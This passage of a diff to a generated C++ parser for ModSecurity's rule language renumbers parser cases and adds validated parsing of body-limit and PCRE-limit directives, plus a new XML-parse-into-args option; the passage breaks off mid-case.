2829 "seclang-parser.cc" break; - case 118: // expression: "CONFIG_SEC_RULE_REMOVE_BY_ID" -#line 1413 "seclang-parser.yy" + case 119: // expression: "CONFIG_SEC_RULE_REMOVE_BY_ID" +#line 1451 "seclang-parser.yy" { std::string error; if (driver.m_exceptions.load(yystack_[0].value.as < std::string > (), &error) == false) { @@ -2804,11 +2842,11 @@ namespace yy { YYERROR; } } -#line 2808 "seclang-parser.cc" +#line 2846 "seclang-parser.cc" break; - case 119: // expression: "CONFIG_SEC_RULE_REMOVE_BY_TAG" -#line 1426 "seclang-parser.yy" + case 120: // expression: "CONFIG_SEC_RULE_REMOVE_BY_TAG" +#line 1464 "seclang-parser.yy" { std::string error; if (driver.m_exceptions.loadRemoveRuleByTag(yystack_[0].value.as < std::string > (), &error) == false) { @@ -2821,11 +2859,11 @@ namespace yy { YYERROR; } } -#line 2825 "seclang-parser.cc" +#line 2863 "seclang-parser.cc" break; - case 120: // expression: "CONFIG_SEC_RULE_REMOVE_BY_MSG" -#line 1439 "seclang-parser.yy" + case 121: // expression: "CONFIG_SEC_RULE_REMOVE_BY_MSG" +#line 1477 "seclang-parser.yy" { std::string error; if (driver.m_exceptions.loadRemoveRuleByMsg(yystack_[0].value.as < std::string > (), &error) == false) { @@ -2838,11 +2876,11 @@ namespace yy { YYERROR; } } -#line 2842 "seclang-parser.cc" +#line 2880 "seclang-parser.cc" break; - case 121: // expression: "CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG" variables_pre_process -#line 1452 "seclang-parser.yy" + case 122: // expression: "CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG" variables_pre_process +#line 1490 "seclang-parser.yy" { std::string error; if (driver.m_exceptions.loadUpdateTargetByTag(yystack_[1].value.as < std::string > (), std::move(yystack_[0].value.as < std::unique_ptr > > > ()), &error) == false) { @@ -2855,11 +2893,11 @@ namespace yy { YYERROR; } } -#line 2859 "seclang-parser.cc" +#line 2897 "seclang-parser.cc" break; - case 122: // expression: "CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG" variables_pre_process -#line 1465 "seclang-parser.yy" + case 123: // expression: "CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG" variables_pre_process +#line 1503 "seclang-parser.yy" { std::string error; if (driver.m_exceptions.loadUpdateTargetByMsg(yystack_[1].value.as < std::string > (), std::move(yystack_[0].value.as < std::unique_ptr > > > ()), &error) == false) { @@ -2872,11 +2910,11 @@ namespace yy { YYERROR; } } -#line 2876 "seclang-parser.cc" +#line 2914 "seclang-parser.cc" break; - case 123: // expression: "CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID" variables_pre_process -#line 1478 "seclang-parser.yy" + case 124: // expression: "CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID" variables_pre_process +#line 1516 "seclang-parser.yy" { std::string error; double ruleId; @@ -2902,11 +2940,11 @@ namespace yy { YYERROR; } } -#line 2906 "seclang-parser.cc" +#line 2944 "seclang-parser.cc" break; - case 124: // expression: "CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID" actions -#line 1504 "seclang-parser.yy" + case 125: // expression: "CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID" actions +#line 1542 "seclang-parser.yy" { std::string error; double ruleId; @@ -2933,11 +2971,11 @@ namespace yy { YYERROR; } } -#line 2937 "seclang-parser.cc" +#line 2975 "seclang-parser.cc" break; - case 125: // expression: "CONFIG_DIR_DEBUG_LVL" -#line 1532 "seclang-parser.yy" + case 126: // expression: "CONFIG_DIR_DEBUG_LVL" +#line 1570 "seclang-parser.yy" { if (driver.m_debugLog != NULL) { driver.m_debugLog->setDebugLogLevel(atoi(yystack_[0].value.as < std::string > ().c_str())); @@ -2949,11 +2987,11 @@ namespace yy { YYERROR; } } -#line 2953 "seclang-parser.cc" +#line 2991 "seclang-parser.cc" break; - case 126: // expression: "CONFIG_DIR_DEBUG_LOG" -#line 1544 "seclang-parser.yy" + case 127: // expression: "CONFIG_DIR_DEBUG_LOG" +#line 1582 "seclang-parser.yy" { if (driver.m_debugLog != NULL) { std::string error; @@ -2972,11 +3010,11 @@ namespace yy { YYERROR; } } -#line 2976 "seclang-parser.cc" +#line 3014 "seclang-parser.cc" break; - case 127: // expression: "CONFIG_DIR_GEO_DB" -#line 1564 "seclang-parser.yy" + case 128: // expression: "CONFIG_DIR_GEO_DB" +#line 1602 "seclang-parser.yy" { #if defined(WITH_GEOIP) or defined(WITH_MAXMIND) std::string err; @@ -3003,47 +3041,53 @@ namespace yy { YYERROR; #endif // WITH_GEOIP } -#line 3007 "seclang-parser.cc" +#line 3045 "seclang-parser.cc" break; - case 128: // expression: "CONFIG_DIR_ARGS_LIMIT" -#line 1591 "seclang-parser.yy" + case 129: // expression: "CONFIG_DIR_ARGS_LIMIT" +#line 1629 "seclang-parser.yy" { driver.m_argumentsLimit.m_set = true; driver.m_argumentsLimit.m_value = atoi(yystack_[0].value.as < std::string > ().c_str()); } -#line 3016 "seclang-parser.cc" +#line 3054 "seclang-parser.cc" break; - case 129: // expression: "CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT" -#line 1596 "seclang-parser.yy" + case 130: // expression: "CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT" +#line 1634 "seclang-parser.yy" { driver.m_requestBodyJsonDepthLimit.m_set = true; driver.m_requestBodyJsonDepthLimit.m_value = atoi(yystack_[0].value.as < std::string > ().c_str()); } -#line 3025 "seclang-parser.cc" +#line 3063 "seclang-parser.cc" break; - case 130: // expression: "CONFIG_DIR_REQ_BODY_LIMIT" -#line 1602 "seclang-parser.yy" + case 131: // expression: "CONFIG_DIR_REQ_BODY_LIMIT" +#line 1640 "seclang-parser.yy" { - driver.m_requestBodyLimit.m_set = true; - driver.m_requestBodyLimit.m_value = atoi(yystack_[0].value.as < std::string > ().c_str()); + std::string errmsg = ""; + if (driver.m_requestBodyLimit.parse(std::string(yystack_[0].value.as < std::string > ()), &errmsg) != true) { + driver.error(yystack_[1].location, "Failed to parse SecRequestBodyLimit: " + errmsg); + YYERROR; + } } -#line 3034 "seclang-parser.cc" +#line 3075 "seclang-parser.cc" break; - case 131: // expression: "CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT" -#line 1607 "seclang-parser.yy" + case 132: // expression: "CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT" +#line 1648 "seclang-parser.yy" { - driver.m_requestBodyNoFilesLimit.m_set = true; - driver.m_requestBodyNoFilesLimit.m_value = atoi(yystack_[0].value.as < std::string > ().c_str()); + std::string errmsg = ""; + if (driver.m_requestBodyNoFilesLimit.parse(std::string(yystack_[0].value.as < std::string > ()), &errmsg) != true) { + driver.error(yystack_[1].location, "Failed to parse SecRequestsBodyNoFilesLimit: " + errmsg); + YYERROR; + } } -#line 3043 "seclang-parser.cc" +#line 3087 "seclang-parser.cc" break; - case 132: // expression: "CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT" -#line 1612 "seclang-parser.yy" + case 133: // expression: "CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT" +#line 1656 "seclang-parser.yy" { std::stringstream ss; ss << "As of ModSecurity version 3.0, SecRequestBodyInMemoryLimit is no longer "; @@ -3052,77 +3096,83 @@ namespace yy { driver.error(yystack_[1].location, ss.str()); YYERROR; } -#line 3056 "seclang-parser.cc" +#line 3100 "seclang-parser.cc" break; - case 133: // expression: "CONFIG_DIR_RES_BODY_LIMIT" -#line 1621 "seclang-parser.yy" + case 134: // expression: "CONFIG_DIR_RES_BODY_LIMIT" +#line 1665 "seclang-parser.yy" { - driver.m_responseBodyLimit.m_set = true; - driver.m_responseBodyLimit.m_value = atoi(yystack_[0].value.as < std::string > ().c_str()); + std::string errmsg = ""; + if (driver.m_responseBodyLimit.parse(std::string(yystack_[0].value.as < std::string > ()), &errmsg) != true) { + driver.error(yystack_[1].location, "Failed to parse SecResponseBodyLimit: " + errmsg); + YYERROR; + } } -#line 3065 "seclang-parser.cc" +#line 3112 "seclang-parser.cc" break; - case 134: // expression: "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" "CONFIG_VALUE_PROCESS_PARTIAL" -#line 1626 "seclang-parser.yy" + case 135: // expression: "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" "CONFIG_VALUE_PROCESS_PARTIAL" +#line 1673 "seclang-parser.yy" { driver.m_requestBodyLimitAction = modsecurity::RulesSet::BodyLimitAction::ProcessPartialBodyLimitAction; } -#line 3073 "seclang-parser.cc" +#line 3120 "seclang-parser.cc" break; - case 135: // expression: "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" "CONFIG_VALUE_REJECT" -#line 1630 "seclang-parser.yy" + case 136: // expression: "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" "CONFIG_VALUE_REJECT" +#line 1677 "seclang-parser.yy" { driver.m_requestBodyLimitAction = modsecurity::RulesSet::BodyLimitAction::RejectBodyLimitAction; } -#line 3081 "seclang-parser.cc" +#line 3128 "seclang-parser.cc" break; - case 136: // expression: "CONFIG_DIR_RES_BODY_LIMIT_ACTION" "CONFIG_VALUE_PROCESS_PARTIAL" -#line 1634 "seclang-parser.yy" + case 137: // expression: "CONFIG_DIR_RES_BODY_LIMIT_ACTION" "CONFIG_VALUE_PROCESS_PARTIAL" +#line 1681 "seclang-parser.yy" { driver.m_responseBodyLimitAction = modsecurity::RulesSet::BodyLimitAction::ProcessPartialBodyLimitAction; } -#line 3089 "seclang-parser.cc" +#line 3136 "seclang-parser.cc" break; - case 137: // expression: "CONFIG_DIR_RES_BODY_LIMIT_ACTION" "CONFIG_VALUE_REJECT" -#line 1638 "seclang-parser.yy" + case 138: // expression: "CONFIG_DIR_RES_BODY_LIMIT_ACTION" "CONFIG_VALUE_REJECT" +#line 1685 "seclang-parser.yy" { driver.m_responseBodyLimitAction = modsecurity::RulesSet::BodyLimitAction::RejectBodyLimitAction; } -#line 3097 "seclang-parser.cc" +#line 3144 "seclang-parser.cc" break; - case 138: // expression: "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" "CONFIG_VALUE_ABORT" -#line 1642 "seclang-parser.yy" + case 139: // expression: "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" "CONFIG_VALUE_ABORT" +#line 1689 "seclang-parser.yy" { driver.m_remoteRulesActionOnFailed = RulesSet::OnFailedRemoteRulesAction::AbortOnFailedRemoteRulesAction; } -#line 3105 "seclang-parser.cc" +#line 3152 "seclang-parser.cc" break; - case 139: // expression: "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" "CONFIG_VALUE_WARN" -#line 1646 "seclang-parser.yy" + case 140: // expression: "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" "CONFIG_VALUE_WARN" +#line 1693 "seclang-parser.yy" { driver.m_remoteRulesActionOnFailed = RulesSet::OnFailedRemoteRulesAction::WarnOnFailedRemoteRulesAction; } -#line 3113 "seclang-parser.cc" +#line 3160 "seclang-parser.cc" break; - case 141: // expression: "CONFIG_DIR_PCRE_MATCH_LIMIT" -#line 1655 "seclang-parser.yy" + case 142: // expression: "CONFIG_DIR_PCRE_MATCH_LIMIT" +#line 1702 "seclang-parser.yy" { - driver.m_pcreMatchLimit.m_set = true; - driver.m_pcreMatchLimit.m_value = atoi(yystack_[0].value.as < std::string > ().c_str()); + std::string errmsg = ""; + if (driver.m_pcreMatchLimit.parse(std::string(yystack_[0].value.as < std::string > ()), &errmsg) != true) { + driver.error(yystack_[1].location, "Failed to parse SecPcreMatchLimit: " + errmsg); + YYERROR; + } } -#line 3122 "seclang-parser.cc" +#line 3172 "seclang-parser.cc" break; - case 142: // expression: "CONGIG_DIR_RESPONSE_BODY_MP" -#line 1660 "seclang-parser.yy" + case 143: // expression: "CONGIG_DIR_RESPONSE_BODY_MP" +#line 1710 "seclang-parser.yy" { std::istringstream buf(yystack_[0].value.as < std::string > ()); std::istream_iterator beg(buf), end; @@ -3131,40 +3181,65 @@ namespace yy { for (std::set::iterator it=tokens.begin(); it!=tokens.end(); ++it) { - driver.m_responseBodyTypeToBeInspected.m_value.insert(*it); + driver.m_responseBodyTypeToBeInspected.m_value.insert( + utils::string::tolower(*it)); } } -#line 3138 "seclang-parser.cc" +#line 3189 "seclang-parser.cc" break; - case 143: // expression: "CONGIG_DIR_RESPONSE_BODY_MP_CLEAR" -#line 1672 "seclang-parser.yy" + case 144: // expression: "CONGIG_DIR_RESPONSE_BODY_MP_CLEAR" +#line 1723 "seclang-parser.yy" { driver.m_responseBodyTypeToBeInspected.m_set = true; driver.m_responseBodyTypeToBeInspected.m_clear = true; driver.m_responseBodyTypeToBeInspected.m_value.clear(); } -#line 3148 "seclang-parser.cc" +#line 3199 "seclang-parser.cc" break; - case 144: // expression: "CONFIG_XML_EXTERNAL_ENTITY" "CONFIG_VALUE_OFF" -#line 1678 "seclang-parser.yy" + case 145: // expression: "CONFIG_XML_EXTERNAL_ENTITY" "CONFIG_VALUE_OFF" +#line 1729 "seclang-parser.yy" { driver.m_secXMLExternalEntity = modsecurity::RulesSetProperties::FalseConfigBoolean; } -#line 3156 "seclang-parser.cc" +#line 3207 "seclang-parser.cc" break; - case 145: // expression: "CONFIG_XML_EXTERNAL_ENTITY" "CONFIG_VALUE_ON" -#line 1682 "seclang-parser.yy" + case 146: // expression: "CONFIG_XML_EXTERNAL_ENTITY" "CONFIG_VALUE_ON" +#line 1733 "seclang-parser.yy" { driver.m_secXMLExternalEntity = modsecurity::RulesSetProperties::TrueConfigBoolean; } -#line 3164 "seclang-parser.cc" +#line 3215 "seclang-parser.cc" + break; + + case 147: // expression: "CONFIG_XML_PARSE_XML_INTO_ARGS" "CONFIG_VALUE_ONLYARGS" +#line 1737 "seclang-parser.yy" + { + driver.m_secXMLParseXmlIntoArgs = modsecurity::RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs; + } +#line 3223 "seclang-parser.cc" + break; + + case 148: // expression: "CONFIG_XML_PARSE_XML_INTO_ARGS" "CONFIG_VALUE_OFF" +#line 1741 "seclang-parser.yy" + { + driver.m_secXMLParseXmlIntoArgs = modsecurity::RulesSetProperties::FalseConfigXMLParseXmlIntoArgs; + } +#line 3231 "seclang-parser.cc" + break; + + case 149: // expression: "CONFIG_XML_PARSE_XML_INTO_ARGS" "CONFIG_VALUE_ON" +#line 1745 "seclang-parser.yy" + { + driver.m_secXMLParseXmlIntoArgs = modsecurity::RulesSetProperties::TrueConfigXMLParseXmlIntoArgs; + } +#line 3239 "seclang-parser.cc" break; - case 146: // expression: "CONGIG_DIR_SEC_TMP_DIR" -#line 1686 "seclang-parser.yy" + case 150: // expression: "CONGIG_DIR_SEC_TMP_DIR" +#line 1749 "seclang-parser.yy" { /* Parser error disabled to avoid breaking default installations with modsecurity.conf-recommended std::stringstream ss; @@ -3175,31 +3250,31 @@ namespace yy { YYERROR; */ } -#line 3179 "seclang-parser.cc" +#line 3254 "seclang-parser.cc" break; - case 149: // expression: "CONGIG_DIR_SEC_COOKIE_FORMAT" -#line 1707 "seclang-parser.yy" + case 153: // expression: "CONGIG_DIR_SEC_COOKIE_FORMAT" +#line 1770 "seclang-parser.yy" { if (atoi(yystack_[0].value.as < std::string > ().c_str()) == 1) { driver.error(yystack_[1].location, "SecCookieFormat 1 is not yet supported."); YYERROR; } } -#line 3190 "seclang-parser.cc" +#line 3265 "seclang-parser.cc" break; - case 150: // expression: "CONFIG_SEC_COOKIEV0_SEPARATOR" -#line 1714 "seclang-parser.yy" + case 154: // expression: "CONFIG_SEC_COOKIEV0_SEPARATOR" +#line 1777 "seclang-parser.yy" { driver.error(yystack_[1].location, "SecCookieV0Separator is not yet supported."); YYERROR; } -#line 3199 "seclang-parser.cc" +#line 3274 "seclang-parser.cc" break; - case 152: // expression: "CONFIG_DIR_UNICODE_MAP_FILE" -#line 1724 "seclang-parser.yy" + case 156: // expression: "CONFIG_DIR_UNICODE_MAP_FILE" +#line 1787 "seclang-parser.yy" { std::string error; std::vector param; @@ -3253,31 +3328,31 @@ namespace yy { } } -#line 3257 "seclang-parser.cc" +#line 3332 "seclang-parser.cc" break; - case 153: // expression: "CONFIG_SEC_COLLECTION_TIMEOUT" -#line 1778 "seclang-parser.yy" + case 157: // expression: "CONFIG_SEC_COLLECTION_TIMEOUT" +#line 1841 "seclang-parser.yy" { /* Parser error disabled to avoid breaking default CRS installations with crs-setup.conf-recommended driver.error(@0, "SecCollectionTimeout is not yet supported."); YYERROR; */ } -#line 3268 "seclang-parser.cc" +#line 3343 "seclang-parser.cc" break; - case 154: // expression: "CONFIG_SEC_HTTP_BLKEY" -#line 1785 "seclang-parser.yy" + case 158: // expression: "CONFIG_SEC_HTTP_BLKEY" +#line 1848 "seclang-parser.yy" { driver.m_httpblKey.m_set = true; driver.m_httpblKey.m_value = yystack_[0].value.as < std::string > (); } -#line 3277 "seclang-parser.cc" +#line 3352 "seclang-parser.cc" break; - case 155: // variables: variables_pre_process -#line 1793 "seclang-parser.yy" + case 159: // variables: variables_pre_process +#line 1856 "seclang-parser.yy" { std::unique_ptr > > originalList = std::move(yystack_[0].value.as < std::unique_ptr > > > ()); std::unique_ptr>> newList(new std::vector>()); @@ -3311,2402 +3386,2481 @@ namespace yy { } yylhs.value.as < std::unique_ptr > > > () = std::move(newNewList); } -#line 3315 "seclang-parser.cc" +#line 3390 "seclang-parser.cc" break; - case 156: // variables_pre_process: variables_may_be_quoted -#line 1830 "seclang-parser.yy" + case 160: // variables_pre_process: variables_may_be_quoted +#line 1893 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[0].value.as < std::unique_ptr > > > ()); } -#line 3323 "seclang-parser.cc" +#line 3398 "seclang-parser.cc" break; - case 157: // variables_pre_process: "QUOTATION_MARK" variables_may_be_quoted "QUOTATION_MARK" -#line 1834 "seclang-parser.yy" + case 161: // variables_pre_process: "QUOTATION_MARK" variables_may_be_quoted "QUOTATION_MARK" +#line 1897 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[1].value.as < std::unique_ptr > > > ()); } -#line 3331 "seclang-parser.cc" +#line 3406 "seclang-parser.cc" break; - case 158: // variables_may_be_quoted: variables_may_be_quoted PIPE var -#line 1841 "seclang-parser.yy" + case 162: // variables_may_be_quoted: variables_may_be_quoted PIPE var +#line 1904 "seclang-parser.yy" { yystack_[2].value.as < std::unique_ptr > > > ()->push_back(std::move(yystack_[0].value.as < std::unique_ptr > ())); yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[2].value.as < std::unique_ptr > > > ()); } -#line 3340 "seclang-parser.cc" +#line 3415 "seclang-parser.cc" break; - case 159: // variables_may_be_quoted: variables_may_be_quoted PIPE VAR_EXCLUSION var -#line 1846 "seclang-parser.yy" + case 163: // variables_may_be_quoted: variables_may_be_quoted PIPE VAR_EXCLUSION var +#line 1909 "seclang-parser.yy" { std::unique_ptr c(new VariableModificatorExclusion(std::move(yystack_[0].value.as < std::unique_ptr > ()))); yystack_[3].value.as < std::unique_ptr > > > ()->push_back(std::move(c)); yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[3].value.as < std::unique_ptr > > > ()); } -#line 3350 "seclang-parser.cc" +#line 3425 "seclang-parser.cc" break; - case 160: // variables_may_be_quoted: variables_may_be_quoted PIPE VAR_COUNT var -#line 1852 "seclang-parser.yy" + case 164: // variables_may_be_quoted: variables_may_be_quoted PIPE VAR_COUNT var +#line 1915 "seclang-parser.yy" { std::unique_ptr c(new VariableModificatorCount(std::move(yystack_[0].value.as < std::unique_ptr > ()))); yystack_[3].value.as < std::unique_ptr > > > ()->push_back(std::move(c)); yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[3].value.as < std::unique_ptr > > > ()); } -#line 3360 "seclang-parser.cc" +#line 3435 "seclang-parser.cc" break; - case 161: // variables_may_be_quoted: var -#line 1858 "seclang-parser.yy" + case 165: // variables_may_be_quoted: var +#line 1921 "seclang-parser.yy" { std::unique_ptr>> b(new std::vector>()); b->push_back(std::move(yystack_[0].value.as < std::unique_ptr > ())); yylhs.value.as < std::unique_ptr > > > () = std::move(b); } -#line 3370 "seclang-parser.cc" +#line 3445 "seclang-parser.cc" break; - case 162: // variables_may_be_quoted: VAR_EXCLUSION var -#line 1864 "seclang-parser.yy" + case 166: // variables_may_be_quoted: VAR_EXCLUSION var +#line 1927 "seclang-parser.yy" { std::unique_ptr>> b(new std::vector>()); std::unique_ptr c(new VariableModificatorExclusion(std::move(yystack_[0].value.as < std::unique_ptr > ()))); b->push_back(std::move(c)); yylhs.value.as < std::unique_ptr > > > () = std::move(b); } -#line 3381 "seclang-parser.cc" +#line 3456 "seclang-parser.cc" break; - case 163: // variables_may_be_quoted: VAR_COUNT var -#line 1871 "seclang-parser.yy" + case 167: // variables_may_be_quoted: VAR_COUNT var +#line 1934 "seclang-parser.yy" { std::unique_ptr>> b(new std::vector>()); std::unique_ptr c(new VariableModificatorCount(std::move(yystack_[0].value.as < std::unique_ptr > ()))); b->push_back(std::move(c)); yylhs.value.as < std::unique_ptr > > > () = std::move(b); } -#line 3392 "seclang-parser.cc" +#line 3467 "seclang-parser.cc" break; - case 164: // var: VARIABLE_ARGS "Dictionary element" -#line 1881 "seclang-parser.yy" + case 168: // var: VARIABLE_ARGS "Dictionary element" +#line 1944 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Args_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3400 "seclang-parser.cc" +#line 3475 "seclang-parser.cc" break; - case 165: // var: VARIABLE_ARGS "Dictionary element, selected by regexp" -#line 1885 "seclang-parser.yy" + case 169: // var: VARIABLE_ARGS "Dictionary element, selected by regexp" +#line 1948 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Args_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3408 "seclang-parser.cc" +#line 3483 "seclang-parser.cc" break; - case 166: // var: VARIABLE_ARGS -#line 1889 "seclang-parser.yy" + case 170: // var: VARIABLE_ARGS +#line 1952 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Args_NoDictElement()); } -#line 3416 "seclang-parser.cc" +#line 3491 "seclang-parser.cc" break; - case 167: // var: VARIABLE_ARGS_POST "Dictionary element" -#line 1893 "seclang-parser.yy" + case 171: // var: VARIABLE_ARGS_POST "Dictionary element" +#line 1956 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsPost_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3424 "seclang-parser.cc" +#line 3499 "seclang-parser.cc" break; - case 168: // var: VARIABLE_ARGS_POST "Dictionary element, selected by regexp" -#line 1897 "seclang-parser.yy" + case 172: // var: VARIABLE_ARGS_POST "Dictionary element, selected by regexp" +#line 1960 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsPost_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3432 "seclang-parser.cc" +#line 3507 "seclang-parser.cc" break; - case 169: // var: VARIABLE_ARGS_POST -#line 1901 "seclang-parser.yy" + case 173: // var: VARIABLE_ARGS_POST +#line 1964 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsPost_NoDictElement()); } -#line 3440 "seclang-parser.cc" +#line 3515 "seclang-parser.cc" break; - case 170: // var: VARIABLE_ARGS_GET "Dictionary element" -#line 1905 "seclang-parser.yy" + case 174: // var: VARIABLE_ARGS_GET "Dictionary element" +#line 1968 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsGet_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3448 "seclang-parser.cc" +#line 3523 "seclang-parser.cc" break; - case 171: // var: VARIABLE_ARGS_GET "Dictionary element, selected by regexp" -#line 1909 "seclang-parser.yy" + case 175: // var: VARIABLE_ARGS_GET "Dictionary element, selected by regexp" +#line 1972 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsGet_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3456 "seclang-parser.cc" +#line 3531 "seclang-parser.cc" break; - case 172: // var: VARIABLE_ARGS_GET -#line 1913 "seclang-parser.yy" + case 176: // var: VARIABLE_ARGS_GET +#line 1976 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsGet_NoDictElement()); } -#line 3464 "seclang-parser.cc" +#line 3539 "seclang-parser.cc" break; - case 173: // var: VARIABLE_FILES_SIZES "Dictionary element" -#line 1917 "seclang-parser.yy" + case 177: // var: VARIABLE_FILES_SIZES "Dictionary element" +#line 1980 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesSizes_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3472 "seclang-parser.cc" +#line 3547 "seclang-parser.cc" break; - case 174: // var: VARIABLE_FILES_SIZES "Dictionary element, selected by regexp" -#line 1921 "seclang-parser.yy" + case 178: // var: VARIABLE_FILES_SIZES "Dictionary element, selected by regexp" +#line 1984 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesSizes_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3480 "seclang-parser.cc" +#line 3555 "seclang-parser.cc" break; - case 175: // var: VARIABLE_FILES_SIZES -#line 1925 "seclang-parser.yy" + case 179: // var: VARIABLE_FILES_SIZES +#line 1988 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesSizes_NoDictElement()); } -#line 3488 "seclang-parser.cc" +#line 3563 "seclang-parser.cc" break; - case 176: // var: VARIABLE_FILES_NAMES "Dictionary element" -#line 1929 "seclang-parser.yy" + case 180: // var: VARIABLE_FILES_NAMES "Dictionary element" +#line 1992 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3496 "seclang-parser.cc" +#line 3571 "seclang-parser.cc" break; - case 177: // var: VARIABLE_FILES_NAMES "Dictionary element, selected by regexp" -#line 1933 "seclang-parser.yy" + case 181: // var: VARIABLE_FILES_NAMES "Dictionary element, selected by regexp" +#line 1996 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3504 "seclang-parser.cc" +#line 3579 "seclang-parser.cc" break; - case 178: // var: VARIABLE_FILES_NAMES -#line 1937 "seclang-parser.yy" + case 182: // var: VARIABLE_FILES_NAMES +#line 2000 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesNames_NoDictElement()); } -#line 3512 "seclang-parser.cc" +#line 3587 "seclang-parser.cc" break; - case 179: // var: VARIABLE_FILES_TMP_CONTENT "Dictionary element" -#line 1941 "seclang-parser.yy" + case 183: // var: VARIABLE_FILES_TMP_CONTENT "Dictionary element" +#line 2004 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesTmpContent_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3520 "seclang-parser.cc" +#line 3595 "seclang-parser.cc" break; - case 180: // var: VARIABLE_FILES_TMP_CONTENT "Dictionary element, selected by regexp" -#line 1945 "seclang-parser.yy" + case 184: // var: VARIABLE_FILES_TMP_CONTENT "Dictionary element, selected by regexp" +#line 2008 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesTmpContent_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3528 "seclang-parser.cc" +#line 3603 "seclang-parser.cc" break; - case 181: // var: VARIABLE_FILES_TMP_CONTENT -#line 1949 "seclang-parser.yy" + case 185: // var: VARIABLE_FILES_TMP_CONTENT +#line 2012 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesTmpContent_NoDictElement()); } -#line 3536 "seclang-parser.cc" +#line 3611 "seclang-parser.cc" break; - case 182: // var: VARIABLE_MULTIPART_FILENAME "Dictionary element" -#line 1953 "seclang-parser.yy" + case 186: // var: VARIABLE_MULTIPART_FILENAME "Dictionary element" +#line 2016 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileName_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3544 "seclang-parser.cc" +#line 3619 "seclang-parser.cc" break; - case 183: // var: VARIABLE_MULTIPART_FILENAME "Dictionary element, selected by regexp" -#line 1957 "seclang-parser.yy" + case 187: // var: VARIABLE_MULTIPART_FILENAME "Dictionary element, selected by regexp" +#line 2020 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileName_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3552 "seclang-parser.cc" +#line 3627 "seclang-parser.cc" break; - case 184: // var: VARIABLE_MULTIPART_FILENAME -#line 1961 "seclang-parser.yy" + case 188: // var: VARIABLE_MULTIPART_FILENAME +#line 2024 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileName_NoDictElement()); } -#line 3560 "seclang-parser.cc" +#line 3635 "seclang-parser.cc" + break; + + case 189: // var: VARIABLE_MULTIPART_FILENAME_CHARSET "Dictionary element" +#line 2028 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new 